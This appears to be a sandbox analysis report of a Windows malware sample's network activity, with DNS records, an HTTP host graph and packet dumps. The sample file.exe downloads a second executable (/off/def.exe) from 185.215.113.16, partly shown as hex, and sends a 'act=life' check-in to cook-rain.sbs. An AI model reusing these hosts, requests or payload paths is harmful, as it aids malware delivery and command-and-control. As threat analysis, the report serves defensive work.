Nov 20, 2024 01:18:49.156436920 CET	1.1.1.1	192.168.2.5	0x6799	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.156436920 CET	1.1.1.1	192.168.2.5	0x6799	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.156436920 CET	1.1.1.1	192.168.2.5	0x6799	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.156436920 CET	1.1.1.1	192.168.2.5	0x6799	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:49.156778097 CET	1.1.1.1	192.168.2.5	0xf998	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.156778097 CET	1.1.1.1	192.168.2.5	0xf998	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.186577082 CET	1.1.1.1	192.168.2.5	0x16cb	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.948707104 CET	1.1.1.1	192.168.2.5	0xf572	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:49.948728085 CET	1.1.1.1	192.168.2.5	0xeef2	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 01:18:50.267167091 CET	1.1.1.1	192.168.2.5	0x8fd	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:50.267167091 CET	1.1.1.1	192.168.2.5	0x8fd	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:50.267167091 CET	1.1.1.1	192.168.2.5	0x8fd	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:50.267478943 CET	1.1.1.1	192.168.2.5	0xb55e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:50.273977041 CET	1.1.1.1	192.168.2.5	0x1d8	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:50.273977041 CET	1.1.1.1	192.168.2.5	0x1d8	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:50.273977041 CET	1.1.1.1	192.168.2.5	0x1d8	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:50.273977041 CET	1.1.1.1	192.168.2.5	0x1d8	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:50.273992062 CET	1.1.1.1	192.168.2.5	0xecea	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:50.273992062 CET	1.1.1.1	192.168.2.5	0xecea	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:55.974469900 CET	1.1.1.1	192.168.2.5	0xd10	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:55.974827051 CET	1.1.1.1	192.168.2.5	0x49c6	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:57.187792063 CET	1.1.1.1	192.168.2.5	0x956	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:57.201366901 CET	1.1.1.1	192.168.2.5	0x41dd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:19:00.215368032 CET	1.1.1.1	192.168.2.5	0xfa01	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:19:00.229240894 CET	1.1.1.1	192.168.2.5	0xd554	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

www.bing.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49807	185.215.113.16	80	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 01:18:36.913664103 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 01:18:37.620306969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 00:18:37 GMT Content-Type: application/octet-stream Content-Length: 2745856 Last-Modified: Wed, 20 Nov 2024 00:10:25 GMT Connection: keep-alive ETag: "673d28f1-29e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 17 4e 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ N`Ui` @ @.rsrc`2@.idata 8@fmagwljh)):@hbrnxglf @)@.taggant@`")@
Nov 20, 2024 01:18:37.620417118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 01:18:37.620434046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 01:18:37.620450020 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 01:18:37.620465040 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 01:18:37.620480061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 01:18:37.620500088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 01:18:37.620520115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (Q&ez\fdMP][xV[>cb@nlJ=6k?>4ae)cdF8+'IDY5Jnf"T5RbY:Hkb2_*
Nov 20, 2024 01:18:37.620536089 CET	1236	IN	Data Raw: 79 d1 23 b0 3b 5b c8 7f 02 bb 46 6d 3b 67 5d 08 77 99 dd 6a b8 31 91 64 71 87 e7 e0 64 87 dd 37 3a f2 59 70 8c 10 35 84 34 8a 09 47 6e 36 5c 57 6c 9e f0 45 30 38 36 38 4e 89 84 6e 27 a9 39 64 d0 35 47 4c 01 69 19 54 50 be 7b 5c 8d e8 bd 34 8e 71 Data Ascii: y#;[Fm;g]wj1dqd7:Yp54Gn6\WlE0868Nn'9d5GLiTP{\4qXHnn@I6>0b<]g_ZV}?_T]\VF5VbsnD[~D60!Z#8jKNAZs&Vg^oJ_9jxDk.Lkkk6$b{'K'E[a2;'P6l\
Nov 20, 2024 01:18:37.620552063 CET	1236	IN	Data Raw: 2a 2b 98 42 25 58 5e 3a f7 08 0d 04 15 3e 05 f7 1e 2e ea ef 42 46 93 32 83 24 4b 05 23 5f 58 10 10 8b 29 22 11 91 e2 e7 ec f6 e9 fe 0c a8 09 80 21 2f e6 bc c8 f8 61 ca ac bf 22 5b f2 8f 0d a2 73 47 ed b1 20 1e fe 03 62 98 03 7d c2 f1 eb 01 3e 10 Data Ascii: *+B%X^:>.BF2$K#_X)"!/a"[sG b}>Nt608CEP-G8G:`8PH5lgElok(\'l=Im7L_"hWSO9$>;5P6RF]lb!4t'
Nov 20, 2024 01:18:37.625418901 CET	1236	IN	Data Raw: 9d 24 74 86 f2 76 1d 11 28 d4 5e 95 f8 1d c6 d4 b9 94 37 53 50 57 25 8c d9 99 b9 6c 85 56 45 15 53 46 21 ae 75 25 28 48 1e c3 dd 24 6d 31 3a 9a 50 45 4f 0a 02 34 5e 14 54 7a 89 2c f5 48 a9 5a 5c eb 93 c4 44 bb 50 20 7c 36 c9 5a 71 35 ed 9b 43 54 Data Ascii: $tv(^7SPW%lVESF!u%(H$m1:PEO4^Tz,HZ\DP \|6Zq5CTivp!w#M2k&tE.c'IkUI63<*)yOhl5,\|]eX?)iTX.1/1zPMjcJyGsn3m[>[d2l`UdY!S%%WX0TV[4!6x6DDpHyU\<Evu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49715	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:18 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4a 42 4d 7a 58 4d 45 4c 2b 45 57 47 4b 7a 46 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 64 30 65 61 30 64 63 64 39 63 63 38 36 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: JBMzXMEL+EWGKzFn.1Context: f2d0ea0dcd9cc86d
2024-11-20 00:18:18 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 00:18:18 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4a 42 4d 7a 58 4d 45 4c 2b 45 57 47 4b 7a 46 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 64 30 65 61 30 64 63 64 39 63 63 38 36 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6d 68 68 57 34 74 50 64 72 45 42 38 4e 37 70 33 7a 38 52 55 2b 76 34 57 36 2b 79 30 77 69 4d 37 65 32 4f 64 46 4d 72 61 59 78 64 52 43 38 5a 56 32 69 51 73 77 2b 71 2b 69 4f 4e 69 6b 42 68 62 6b 31 62 4f 34 73 6d 37 62 6d 74 65 52 41 72 74 53 71 77 42 7a 65 6a 4e 41 57 57 64 57 48 36 4a 67 75 4e 39 74 6e 6e 44 62 4e 6e 51 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: JBMzXMEL+EWGKzFn.2Context: f2d0ea0dcd9cc86d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVmhhW4tPdrEB8N7p3z8RU+v4W6+y0wiM7e2OdFMraYxdRC8ZV2iQsw+q+iONikBhbk1bO4sm7bmteRArtSqwBzejNAWWdWH6JguN9tnnDbNnQ
2024-11-20 00:18:18 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 4a 42 4d 7a 58 4d 45 4c 2b 45 57 47 4b 7a 46 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 64 30 65 61 30 64 63 64 39 63 63 38 36 64 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: JBMzXMEL+EWGKzFn.3Context: f2d0ea0dcd9cc86d
2024-11-20 00:18:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 00:18:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 48 56 48 6b 4f 58 45 74 30 32 43 35 79 5a 6c 49 44 52 79 2b 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +HVHkOXEt02C5yZlIDRy+A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49720	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 79 52 4e 4b 77 34 65 4b 55 57 54 39 78 2b 70 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 31 37 61 36 39 30 31 33 39 35 32 37 33 33 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: myRNKw4eKUWT9x+p.1Context: f17a69013952733b
2024-11-20 00:18:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 00:18:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 79 52 4e 4b 77 34 65 4b 55 57 54 39 78 2b 70 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 31 37 61 36 39 30 31 33 39 35 32 37 33 33 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6d 68 68 57 34 74 50 64 72 45 42 38 4e 37 70 33 7a 38 52 55 2b 76 34 57 36 2b 79 30 77 69 4d 37 65 32 4f 64 46 4d 72 61 59 78 64 52 43 38 5a 56 32 69 51 73 77 2b 71 2b 69 4f 4e 69 6b 42 68 62 6b 31 62 4f 34 73 6d 37 62 6d 74 65 52 41 72 74 53 71 77 42 7a 65 6a 4e 41 57 57 64 57 48 36 4a 67 75 4e 39 74 6e 6e 44 62 4e 6e 51 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: myRNKw4eKUWT9x+p.2Context: f17a69013952733b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVmhhW4tPdrEB8N7p3z8RU+v4W6+y0wiM7e2OdFMraYxdRC8ZV2iQsw+q+iONikBhbk1bO4sm7bmteRArtSqwBzejNAWWdWH6JguN9tnnDbNnQ
2024-11-20 00:18:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 79 52 4e 4b 77 34 65 4b 55 57 54 39 78 2b 70 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 31 37 61 36 39 30 31 33 39 35 32 37 33 33 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: myRNKw4eKUWT9x+p.3Context: f17a69013952733b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 00:18:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 00:18:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 59 53 45 78 6a 58 73 6f 30 6d 4a 79 75 33 7a 50 71 74 62 4d 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: hYSExjXso0mJyu3zPqtbMg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49721	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 45 64 68 38 2f 36 74 6a 30 53 67 74 4e 30 4a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 34 38 39 66 30 31 66 34 30 35 37 35 32 30 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: mEdh8/6tj0SgtN0J.1Context: b489f01f40575204
2024-11-20 00:18:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 00:18:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 45 64 68 38 2f 36 74 6a 30 53 67 74 4e 30 4a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 34 38 39 66 30 31 66 34 30 35 37 35 32 30 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6d 68 68 57 34 74 50 64 72 45 42 38 4e 37 70 33 7a 38 52 55 2b 76 34 57 36 2b 79 30 77 69 4d 37 65 32 4f 64 46 4d 72 61 59 78 64 52 43 38 5a 56 32 69 51 73 77 2b 71 2b 69 4f 4e 69 6b 42 68 62 6b 31 62 4f 34 73 6d 37 62 6d 74 65 52 41 72 74 53 71 77 42 7a 65 6a 4e 41 57 57 64 57 48 36 4a 67 75 4e 39 74 6e 6e 44 62 4e 6e 51 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: mEdh8/6tj0SgtN0J.2Context: b489f01f40575204<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVmhhW4tPdrEB8N7p3z8RU+v4W6+y0wiM7e2OdFMraYxdRC8ZV2iQsw+q+iONikBhbk1bO4sm7bmteRArtSqwBzejNAWWdWH6JguN9tnnDbNnQ
2024-11-20 00:18:24 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 6d 45 64 68 38 2f 36 74 6a 30 53 67 74 4e 30 4a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 34 38 39 66 30 31 66 34 30 35 37 35 32 30 34 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: mEdh8/6tj0SgtN0J.3Context: b489f01f40575204
2024-11-20 00:18:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 00:18:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 56 7a 6e 37 2f 4c 5a 66 55 2b 63 79 62 6b 54 49 59 6b 34 71 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gVzn7/LZfU+cybkTIYk4qw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49722	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:25 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 00:18:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
